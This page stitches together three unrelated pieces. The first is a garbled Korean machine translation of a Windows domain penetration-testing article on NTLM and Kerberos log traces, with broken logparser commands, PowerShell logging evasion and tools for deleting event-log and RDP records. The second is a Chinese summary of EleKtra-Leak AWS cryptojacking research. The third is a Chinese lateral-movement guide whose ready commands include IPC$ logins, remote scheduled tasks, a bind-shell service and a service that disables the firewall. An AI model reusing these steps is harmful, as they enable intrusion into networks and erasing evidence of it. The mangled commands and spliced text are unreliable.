로그 추적을 쿼리 할 때 먼저이 로그인에 사용 된 인증 방법을 이해해야합니다. Windows는 기본적으로 NTML 인증을 사용하고 Kerberos 인증은 도메인 네트워크에서 사용됩니다. 간단히 말해서 NTLM은 호스트와 호스트 간의 직접적인 대화식 인증이며 Kerberos는 제 3 자 (도메인 제어)에 의해 인증됩니다.

도메인 제어는 도메인 내 호스트 및 도메인 계정에만 자격 증명 만 발행합니다. 따라서 원격 호스트 포지셔닝에 IP를 사용하면 NTLM 인증이 사용되며 포지셔닝에 도메인 이름 또는 기계 이름을 사용하면 Kerberos 인증이 사용됩니다.

순 사용을 사용하여 원격 공유에 연결하는 프로세스도 로그인 프로세스입니다. 따라서 로그인이있는 한 로그에 반영됩니다.

Dir 및 Host를 사용하여 직접 로그인하는 것도 마찬가지입니다.

로그 쿼리 분석에 따르면 호스트는 Kerberos 인증을 사용하여 직접 로그를 발견했습니다. DIR 및 NET 사용을 사용하는 경우 원격 호스트가 IP 인 경우 NTLM 인증입니다. 반대로, 도메인 이름 또는 기계 이름이 포지셔닝에 사용되면 포지셔닝을위한 Kerberos입니다.

멤버 호스트 네트워크 연결 연결 도메인 제어 호스트

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

Kerberos 인증 패킷

순 사용 \\ ad-2016 \ IPC $

여러 테스트 후, 위의 명령문을 사용하여 멤버 호스트가 도메인 제어 호스트에 연결되고 Kerberos 인증을 사용하면 도메인 제어 호스트에 다음 레코드가 남게됩니다.

따라서 5 번째 성공적인 로그인 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순이 사용을 통해 로그에서 도메인 컨트롤의 호스트 정보를 얻기 위해 필터링 규칙을 수정하면됩니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-500 | 관리자 | vvvv1.com |0x7c3dbeb9 | 3 | Kerberos | k Erberos || {CE15C23A-E7E3-3FC1-4A75-FDF339BEC822} |-|-|-|0x0 |-| 10.10.10.12 | 50364 | %% 1840 |-|-|-|-| %% 1843 |0x0 | %% 1842

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

문자열 필드를 통해 도메인 제어에 연결된 호스트의 IP와 계정을 볼 수 있습니다.

멤버 호스트 DIR는 도메인 제어 호스트에 연결합니다

NTLM 인증 패킷

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

Kerberos 인증 패킷

dir \\ ad-2016 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

멤버 호스트 연결 멤버 호스트

dir \\ 10.10.10.10 \ c $

dir \\ web-2003 \ c $

첫 번째 방법, 즉 NTLM 인증 방법은이 로그 추적을 도메인 제어 호스트의 로그에만 두는 것입니다.이 로그는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

Kerberos 인증 방법 인 두 번째 방법은 도메인 제어 호스트에 두 개의 로그를 남깁니다 : 요청 tgt 및 요청 st log.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

멤버 호스트 자체로 로그인

도메인의 사용자 계정으로 로그인하는 사용자 만 도메인 제어 호스트에 흔적이 남습니다. 로컬 계정으로 로그인하면 컴퓨터 로그에만 반영됩니다.

도메인 내의 사용자를 사용하여 로그인하는 경우 도메인 컨트롤은 위의 Kerberos 인증 패킷과 동일한 인증을 위해 Kerberos를 사용하는 것입니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

양말 프록시를 통한 쿼리 로그

일반적으로 경계 호스트를 중단 할 때 양말 터널을 만들고 지역 호스트 에이전트를 인트라넷으로 가져 오기 위해 작동합니다.

먼저 해시 전달을 사용하여 외부 도메인 호스트에 충분한 권한이 있는지 확인하십시오.

테스트 후 해시 통과 작업은 도메인 제어 및 양말 터널 클라이언트 호스트에서 로그 트레이스를 생성하지 않습니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

지침 및 운영은 VPN과 동일합니다.

2. 연결 중에 로그의 흔적을 쿼리하십시오

원격 호스트 네트워크 연결 연결 도메인 제어 호스트

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

도메인 제어 호스트에 대한 원격 DIR 연결

NTLM 인증 패킷

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

원격 호스트는 멤버 호스트에 연결합니다

dir \\ 10.10.10.10 \ c $

두 방법 모두이 로그 추적을 도메인 제어 호스트의 로그에 남겨 두는 것을 의미하며, 이는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

PowerShell log

PowerShell 로그는 일반적으로 시스템 로그에 직접 작성됩니다.

그러나 정상 구성에서 PowerShell은 실행의 명령 로그를 저장하지 않지만 PowerShell Open Command (ID:600) 및 PowerShell Close 명령 (ID:403) 만 저장합니다.

따라서 침투 과정에서 대화식 쉘을 얻으면 먼저 PowerShell을 열고 명령을 실행할 수 있습니다. 그러면 로그는 PowerShell을 열도록 명령 만 기록하며 PowerShell 터미널에서 실행 된 명령의 기록을 저장하지 않습니다.

그러나 침투 과정에서 웹 쉘, 즉 반 인터랙티브 명령 창이 발생하면 명령을 하나의 문으로 만 요약 할 수 있으며 명령은 로그에 기록됩니다.

PowerShell 스크립트 사용

PowerShell 스크립트를 사용하여 명령을 실행하면 먼저 명령을 실행해야합니다.

PowerShell -ExecutionPolicy 바이 패스

PowerShell 실행 정책을 우회하는 데 사용됩니다. PowerShell은 기본적으로 실행 정책을 활성화하여 스크립트 실행 권한을 제한합니다.

실행 정책은 스크립트 파일을 실행할 수 있는지 여부를 제어하고 신뢰할 수없는 소스에서 스크립트를 제어하는 보안 메커니즘입니다. 기본적으로 PowerShell의 실행 정책은 '제한적'으로 설정되어 있으므로 스크립트 파일을 실행할 수 없습니다.

PowerShell 명령 줄에 'PowerShell -ExecutionPolicy Bypass'를 사용하면 실행 정책 제한을 우회하고 스크립트 파일이 허용됩니다. 이렇게하면 실행 정책을 일시적으로 변경하여 모든 스크립트를 실행할 수 있습니다.

PS1 스크립트가 가져 오려고하는 경우 Sharphound.ps1

import-module ./sharphound.ps1

현재 Sharphound 모듈이 현재 세션에로드되었습니다.

현재 세션에서로드 된 모든 모듈을보십시오

모듈을 얻으십시오

Sharphound 모듈에서 모든 명령 목록 얻기

get -command -module sharphound

Sharphound 사용 도움말을 확인하십시오

get-help sharphound

Get-Help invoke-bloodhound-

로그 삭제

당신이 관통하는 환경에 있으면 모든 로그를 삭제하면 우리의 흔적을 덮을뿐만 아니라 대신 흔적을 더 명확하게 만들 것입니다.

따라서 단일 로그를 삭제하는 방법 만 사용할 수 있지만 Windows는이를 제공하지 않거나 단일 로그를 삭제하는 것이 허용되지 않으므로 다른 방법 만 사용할 수 있습니다.

도구 사용 : https://github.com/3gstudent/eventlogedit-evtx- evolution

단일 로그 삭제 원칙 : https://3gstudent.github.io/windows-xml-event-log-(evtx)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97% E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%AE%9E%E4%BE%8B

https://github.com/qax-a-team/eventcleaner

RDP 로그인 추적

지우기

https://blog.csdn.net/m0_37552052/article/details/82894963

https://blog.csdn.net/coco56/article/details/102671007#:~333333333333333333333333333333333333333333333333333333333333333333:Text=Win10%E7%B3%BB%E7%BB%9f%E6%8E4%E4%B9%B9%8899a0%9999%. 99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%a5%AE%B0%E5%BD%95%20%20%20%8C%89WIN%2BR E9%Ae%ae%ae%ae%e6%89 BC%80%E8%BF%90%E8%A1%8C%EF%BC%8C%E8%BE%93%e5%85%A5%20 리게디%20%20%E5%B9%B6%E7%A1%AE%E5%AE%9A%e3%80%202,%E5%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9. C%B0%E5%9d%80%e6%A0%8f%E4%B8%AD%E8%BE%93%E5%85%A5%E4%BB%A5%E4 비 5%8d%B3%e5%8f%AF%a8%bf%9b%e8%a1%8c%e7%9c%8b%e5%88%b0%e6%89%80 %e6%9c%89%e7%9a%84%e5%b7%b2%e8%bf%9e%e6%8e%a5%e8%bf%87%e7%9a% 84%E7%94%B5%E8%84%91%E3%80%82%20%E8%AE%AE%A1%E7%AE%97%E6%9C%BA%5CHKEY_CURRENT_USER%5CSOFTWARE%5CMICROSOFT%5CTerminal%20Server% 20Client%5cdefault%201%203%20%E5%8f%B3%E9%94%AE%E7%82%B9%E5%87%BB%E9%9c%80%e8%A6%81%e7%AE%A1%E7%90%86%e7%9A%84%ae%B0%e5 %BD%95%E9%A1%B9%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9% E6%88%96%E8%80%85%E5%88%A0%E9%99%A4%E6%AD%A4%E9%A1%B9%E3%80%82

https://blog.csdn.net/travelnight/article/details/122854895

이벤트 ID : 1149 : RDP를 사용하여 소스 IP가 로컬 컴퓨터에 성공적으로 로그인 한 레코드. 등록 :hkey_current_user \ Software \ Microsoft \ 터미널 서버 클라이언트 \ 서버 \

이 경로는 현재 호스트가 로그인 한 서버를 기록합니다. 이벤트 ID : 5156 로그 : 기계가 다른 서버의 포트 3389에 액세스했는지 확인할 수 있습니다. 4624 —— 계정은 성공적으로 로그인했습니다

4625 —— 계정을 로그인 할 수 없습니다

1149 —— 사용자 인증이 성공했습니다

원래 링크 주소에서 재 인쇄 : https://forum.butian.net/share/3657

相關研究人員最近發現了一個異常活躍的攻擊活動,研究人員稱之為EleKtra-Leak,它會自動竊取GitHub公共存儲庫中洩漏的身份和訪問管理(IAM)密鑰。因此,與該活動相關的攻擊者能夠創建多個AWS彈性計算(EC2)實例,用於廣泛和持久的加密劫持。

分析發現,攻擊者能夠在五分鐘內識別並使用GitHub上首次洩漏的IAM密鑰,這一發現證明了攻擊者是如何利用云自動化技術來實現擴展加密劫持的目標。攻擊者似乎使用自動化工具不斷複製公共GitHub存儲庫,並掃描洩漏的亞馬遜網絡服務(AWS) IAM密鑰。

分析過程調查過程中,研究發現,攻擊者可能會識別頻繁出現的AWS賬戶id,以阻止這些賬戶id免受未來的攻擊或自動化腳本的攻擊。因此,研究人員設計了一種新穎的調查架構來動態創建和洩漏不可歸因的AWS密鑰。

多年來,攻擊者越來越多地使用GitHub作為攻擊的初始載體。 GitHub的一個強大功能是它能夠列出所有公共存儲庫,這使得開發人員和攻擊者能夠實時跟踪新的存儲庫。

考慮到這個功能,研究人員選擇GitHub作為其竊取AWS密鑰的實驗平台,將明文洩露的密鑰寫入新創建的GitHub存儲庫中的文件中,該存儲庫是研究人員隨機選擇並從公共GitHub存儲庫列表中復制的。研究人員將AWS密鑰洩露到復制存儲庫中隨機創建的文件中,然後在成功提交後將其刪除。

一旦將竊取的密鑰提交到存儲庫,研究人員就會立即刪除了它們。最初,IAM密鑰使用Base64編碼。然而,儘管像trufflehog這樣的工具可以找到洩漏的Base64 IAM密鑰,但事實上沒有攻擊者能找到密鑰。

研究人員認為,攻擊者目前沒有使用能夠解碼base64編碼密鑰的工具,其中一個原因可能是因為這些工具有時會產生噪音並產生許多誤報。

研究人員隨後進行了以明文形式洩露AWS密鑰的實驗,攻擊者發現這些都是明文寫的,隱藏在過去提交的一個隨機文件中,並添加到復制的repo中。

GitHub掃描當研究人員在GitHub中洩漏AWS密鑰時,GitHub的秘密掃描功能發現了它們,然後GitHub以編程方式通知AWS洩漏的秘鑰。這導致AWS自動將隔離策略應用於與密鑰關聯的用戶,稱為AWSCompromisedKeyQuarantine。

最初,研究人員保留了AWS awspromisedkeyquarantine策略,在攻擊者測試洩漏的密鑰時被動地監控研究人員的偵察。研究人員有意將AWS隔離策略替換為原始的IAM策略,以進一步了解整個活動。

需要注意的是,應用AWS隔離策略不是因為攻擊者發起了攻擊,而是因為AWS在GitHub中發現了密鑰。研究人員認為,攻擊者可能能夠找到AWS未自動檢測到的已洩漏的AWS密鑰,並隨後在AWSCompromisedKeyQuarantine策略之外控制這些密鑰。

在研究人員使用洩露密鑰進行的實驗中,攻擊者在AWS應用隔離策略後四分鐘內開始。下圖顯示了這些活動的時間軸。

1.png

攻擊者的活動時間軸

上圖最後一行顯示,從CloudTrail事件AttachUserPolicy開始,AWS在時間13:30:22時應用隔離策略。僅僅四分鐘後,在13:34:15,攻擊者開始使用AWS API descripregions進行偵察。 CloudTrail是一個審計工具,它記錄在配置的雲資源中發生的和事件。

攻擊結構下圖顯示了整個自動化攻擊結構。 GitHub公共存儲庫被實時掃描,一旦找到密鑰,攻擊者的自動化就會開始。

2.png

Operation CloudKeys架構

下圖顯示,攻擊者首先執行AWS帳戶偵察。

3.png

AWS帳戶偵察

在偵察之後,攻擊者創建AWS安全組,然後在任何可訪問的AWS區域上最終啟動每個區域的多個EC2實例。

4.png

修改安全組並啟動第一個EC2實例

研究人員收集的數據表明,攻擊者的自動化是在VPN環境中進行的。根據CloudTrail的日誌記錄,研究人員在多個地區重複了相同的操作,總共產生了400多個API調用,加起來只用了7分鐘。這表明攻擊者成功地隱藏了自己的身份,同時對AWS賬戶環境發起了自動攻擊。

啟動實例和配置一旦發現AWS密鑰,自動化的一部分將包括在不同地區運行實例的攻擊者。下圖顯示了有關實例類型及其跨多個區域分佈的統計信息。

攻擊者使用大格式雲虛擬機執行操作,特別是c5a.24xlarge AWS實例。加密挖礦操作通常使用大格式雲實例,因為它們將提高處理能力,使加密劫持者能夠在更短的時間內挖掘更多加密貨幣。

5.png

跨區域實例化的AWS EC2實例類型

CloudTrail日誌中沒有記錄用戶數據。為了捕獲數據,研究人員對EC2卷執行了取證分析。

如下圖所示,挖礦自動化在挖礦軟件啟動EC2配置過程中自動顯示用戶數據。

6.png

挖礦軟件的配置腳本

下圖顯示了存儲在Google Drive中的有效負載。 Google Driveurl在設計上是匿名的,無法將此URL映射到谷歌Cloud用戶帳戶。下載的有效負載被加密存儲,然後在下載時解密,如第6行所示。

有效負載是一個已知的挖掘工具,哈希值可以與之前的研究相關聯,研究人員認為相同的攻擊者使用公開洩漏的Docker服務來執行加密劫持。他們還確定了提交給VirusTotal的報告,這些報告具有相同的哈希,並使用相同的持久化命名約定(“appworker”),如下圖所示。

7.png

共享相同元數據的已知加密挖掘二進製文件

攻擊者使用的AMI(Amazon Machine Image類型也很獨特,它是用於創建虛擬服務器(即AWS 環境中的EC2 實例)的主映像。被識別的映像是私有的,它們沒有在AWS市場上列出。下圖顯示了使用以下AMI實例的id。

8.png

私有AMI映像id列表

其中一些圖片是Ubuntu 18版本。研究人員認為,所有這些攻擊指標(ioc)都表明,這是一個至少可以追溯到2020年的長期挖礦活動。

挖礦活動跟踪如上所述,EC2實例通過EC2用戶數據接收它們的挖掘配置。該配置包含每個挖礦軟件用於傳播其開采的門羅幣的門羅幣錢包地址。

根據其架構,研究人員可以推測錢包地址是獨立用於AWS挖礦的。如果是這種情況,連接到池的每個工件都代表一個單獨的Amazon EC2實例。

攻擊者用於此操作的挖掘池是SupportXMR挖掘池。礦池用於加密挖礦,作為多個挖礦軟件共同工作的工作空間,以增加成功挖礦的機會。

考慮到SupportXMR服務只提供某時間段的統計數據,研究人員對錢包進行了數週的監控並提取了挖掘統計數據。下圖顯示了獨立挖礦軟件的數量。

9.png

XMR挖礦軟件數量統計

在2023年8月30日至2023年10月6日期間,總共出現了474個獨立挖礦軟件,研究人員可以將其解釋為在此期間記錄的474個獨立的Amazon EC2實例執行挖礦。由於攻擊者挖的是門羅幣(Monero),這是一種包含隱私控制的加密貨幣,因此研究人員無法跟踪錢包來獲得攻擊者獲得挖礦貨幣的確切數字。

研究人員將繼續監控這一挖礦活動。這與Unit 42觀察到的攻擊者使用可信業務應用程序逃避檢測的發現一致。

架構分析為了開展研究,Prisma雲安全研究團隊創建了一個名為HoneyCloud的工具,這是一個完全可攻擊和可複制的雲環境,包含以下功能:

跟踪惡意操作;

跟踪雲攻擊者的行動;

發現新的雲攻擊路徑;

構建更好的雲防禦解決方案。

研究人員使用IaC模板為Terraform創建了一個半隨機的AWS基礎設施。 Terraform是一個IaC配置工具,用於管理和維護雲基礎設施,這個工具允許研究人員使用定時調度和人工分析來創建和破壞基礎設施。

由於研究人員之前的AWS賬戶ID被添加到攻擊者的黑名單中,他們進行了一個Terraform設計。該設計在生成的AWS賬戶中引入了一定數量的隨機性,其新創建的基礎設施幫助研究人員避免了攻擊者匹配或識別以前IAM密鑰洩漏的操作。

研究人員還設計了Terraform自動化,根據攻擊者在AWS賬戶中執行的活動,使用不同類型的IAM策略,該策略或多或少會限制IAM權限。

在本次調查中,研究人員遇到的最大障礙便是AWS在應用隔離策略,以防止惡意方面的反應速度速度。 AWS在GitHub上洩露AWS密鑰後兩分鐘內實施了隔離政策。

AWS隔離策略本可以成功阻止此攻擊。然而,在分析了挖礦活動之後,研究人員發現了更多的挖礦實例,這可能是因為密鑰以不同的方式或在不同的平台上被洩漏。

為了方便研究,研究人員被迫重寫隔離策略,以確保研究人員能夠跟踪攻擊者的操作。為了執行此操作,研究人員創建了一個單獨的監控工具,以恢復我們計劃破壞的原始過度寬鬆的AWS安全策略。

自動生成AWS雲下圖顯示了用於公開AWS IAM憑據並隨後監控針對它們採取操作的總IaC架構。

10.png

使用AWS複製和監控GitHub存儲庫

所設計架構的IaC模板負責隨機選擇GitHub存儲庫,複製和洩漏AWS IAM密鑰作為過去提交的隨機文件。在AWS方面,使用相同的AWS管理組織和集中式CloudTrail日誌存儲,為IaC模板執行的每次迭代動態創建新的AWS帳戶。

研究人員還在AWS管理帳戶中開發並部署了一個額外的lambda函數,該函數作為監控器收集基礎設施更改並跟踪IAM用戶策略更改。

IaC模板的主要目標之一是保持AWS基礎設施組件盡可能隨機,以避免被攻擊者發現並阻止。另一個目標是允許定期和精確地摧毀基礎設施,以便快速和系統地開始新的環境和變量。通過這種方式,攻擊者只能將AWS IAM密鑰視為全新AWS環境的一部分,而不是研究環境的一部分。

總結分析發現,攻擊者掃描了公共GitHub存儲庫中洩漏的AWS IAM秘鑰。研究人員發現,AWS IAM密鑰在公共GitHub存儲庫中洩漏僅五分鐘後便可以檢測並啟動全面的挖礦。

該活動至少從2020年就開始了,儘管AWS隔離政策取得了成功,但該活動在受害帳戶的數量和頻率上仍然持續波動,研究人員認為關注洩漏的GitHub秘鑰或亞馬遜EC2實例目標僅僅是攻擊目標之一。

為了方便分析,研究人員開發了一個半自動化的IaC Terraform架構來跟踪該攻擊活動,其中就包括動態創建旨在被破壞和銷毀的AWS賬戶。

緩解策略1.使用AWS隔離策略;

2.使用Amazon Lightsail,在洩漏的IAM密鑰提交到GitHub存儲庫的幾分鐘內,AWS啟動了此隔離。這一隔離策略必須正確使用,以確保潛在的攻擊者不會利用敏感的雲數據、服務和資源。

無意中洩漏AWS IAM秘鑰的組織應立即撤銷使用該秘鑰建立的任何API連接,還應從其GitHub存儲庫中刪除AWS IAM秘鑰,並生成新的AWS IAM秘鑰以實現所需功能。

在正常情况中,横向移动是在已经获取了足够的权限的情况下进行横向移动,下面中的方法大部分也需要高权限的操作。

https://www.freebuf.com/articles/network/251364.html

内网横向移动分为三种情况:

1.在VPN环境中进行横向移动;

2.在socks代理环境中进行横向移动;

3.在远程木马的环境中进行横向移动;

文件传输-前期准备

在进行横向移动的过程中,我们首先应该考虑的是文件传输方案,对之后向攻击目标部署攻击载荷或其他文件提供便利。

网络共享

在windows系统中,网络共享功能可以实现局域网之间的文件共享。提供有效的用户凭据,就可以将文件从一台机器传输到另一台机器。

获取到windows中系统默认开启的网络共享。

net share

在实战中,往往会使用IPC$连接,而IPC$连接需要两个要求。

1.远程主机开启了IPC连接;

2.远程主机的139端口和445端口开放;

net use \\10.10.10.10\IPC$ "admin!@#456" /user:"administrator"

此时,如果你具备足够权限的凭据,即可使用dir或者copy命令查看目标主机的信息。

安全性考虑:这些指令是在本地执行,远程的命令,因此不会在远程连接的主机留下日志信息,因此是比较安全。

搭建SMB服务器

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%BC%80%E5%90%AFWindows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE%E5%85%B1%E4%BA%AB

SMB(server message block,服务器消息块),又称CIFS(网络文件共享系统),基于应用层网络传输协议,一般使用NetBIOS协议或者TCP发送,使用139或445端口。

创建一个双方都可以访问的SMB服务器,在内网渗透中,让受害主机远程加载木马等操作控制目标主机。

CIFS协议和SMB协议的区别

**关于对CIFS权限的想法:**就是当我们拿下了一台机器,然后这台机器存在约束委派或者白银票据这些漏洞的话,通过操作获得到了域控的cifs权限,那就可以使用impacket工具包里面的工具类似psexec.py、smbexec.py之类的脚本,然后使用-no-pass -k参数通过读取到本地的票据直接连接上域控获取到权限。

但是impacket工具包在使用-no-pass -k参数的时候检测的是.ccache票据,在windows上使用的是.kirbi结尾的票据,因此无法成功。在linux上可以成功。

如果能够获取到域控的cifs权限,修改一下impacket工具,或者通过编写其他工具,通过CIFS权限就可以直接拿下域控。

计划任务

使用VPN和socks方式执行方式相同。

一般来说,需要获取到管理员的凭据才可以进行计划任务的执行。

通过搭建SMB服务器或者建立共享连接,使目标机器下载运行脚本,然后建立计划任务来执行脚本加载木马等。

当目标系统版本<window2012时,使用at:

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接

copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器

at \\192.168.3.21 15:47 c:\add.bat #添加计划任务

当目标系统版本>=windows2012时,使用schtasks:

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接

copy add.bat \\192.168.3.32\c$ #复制文件到其C盘

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件

/s:指定要链接的系统;/ru:指定计划任务运行的用户权限;/tn:指定创建的计划任务的名称;

/sc:指定计划任务执行的频率;/tr:指定计划任务运行的程序路径;/F:如果指定任务存在,则强制创建;

/mo:指定计划任务执行周期;

schtasks /query /s 10.10.10.10 /TN c #查看计划任务c状态

schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务

schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务

o52p5f5qudi11773.png

注意计划任务执行的程序是在后台执行,没有回显。

在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。

drryni4jghu11778.png

figobb1qtfu11781.png

计划任务的添加、删除、执行等操作也都是在目标主机中有所体现。

wlb11liwbi211786.png

  1. Microsoft-Windows-TaskScheduler/Operational:这个事件日志记录了计划任务的操作、创建、修改和删除等活动。你可以在Windows事件查看器(Event Viewer)中找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational。
  2. Microsoft-Windows-TaskScheduler/Maintenance:这个事件日志用于记录计划任务的执行情况,包括任务的开始、完成和错误信息等。同样,在Windows事件查看器中,你可以找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Maintenance。

安全性考虑:计划任务虽然是在远程执行,但是会在目标主机建立一个计划任务进程,并且该进程也会在目标主机执行文件,这些行为都会在目标主机留下日志记录,因此较为危险。

系统服务

使用VPN和socks方式执行方式相同。

还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或者命令。

这样的方式需要两端主机的管理员权限。

sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序

sc \\10.10.10.10 create bindshell binpath= "c:\bind.exe"

注意这里的格式,“=”后面是必须空一格的,否则会出现错误。

启动服务

sc \\10.10.10.10 start bindshell

删除服务

sc \\[host] delete [servicename] #删除服务

我们还可以通过设置服务来关闭防火墙:

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

1xhth00z5wq11788.png

在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。

3j0smlhqn0g11790.png

系统服务方面的日志也会留下痕迹。

gqzk1nvjooa11793.png

安全性考虑:使用创建系统服务的方式,会在远程主机上创建服务,会在目标主机留下日志记录,因此较为危险。

PSEXEC

使用VPN和socks方式执行方式相同。

psTools

psexec是通过SMB连接到服务端的Admin$共享,并释放名为“psexesvc.exe”的二进制文件,然后注册名为“PSEXEC”服务,当命令执行时会通过该服务启动相应的程序执行命令并回显。运行结束后PSEXESVC服务会被删除。

因此,运行psexec需要的条件:

1.目标主机开启Admin$共享;

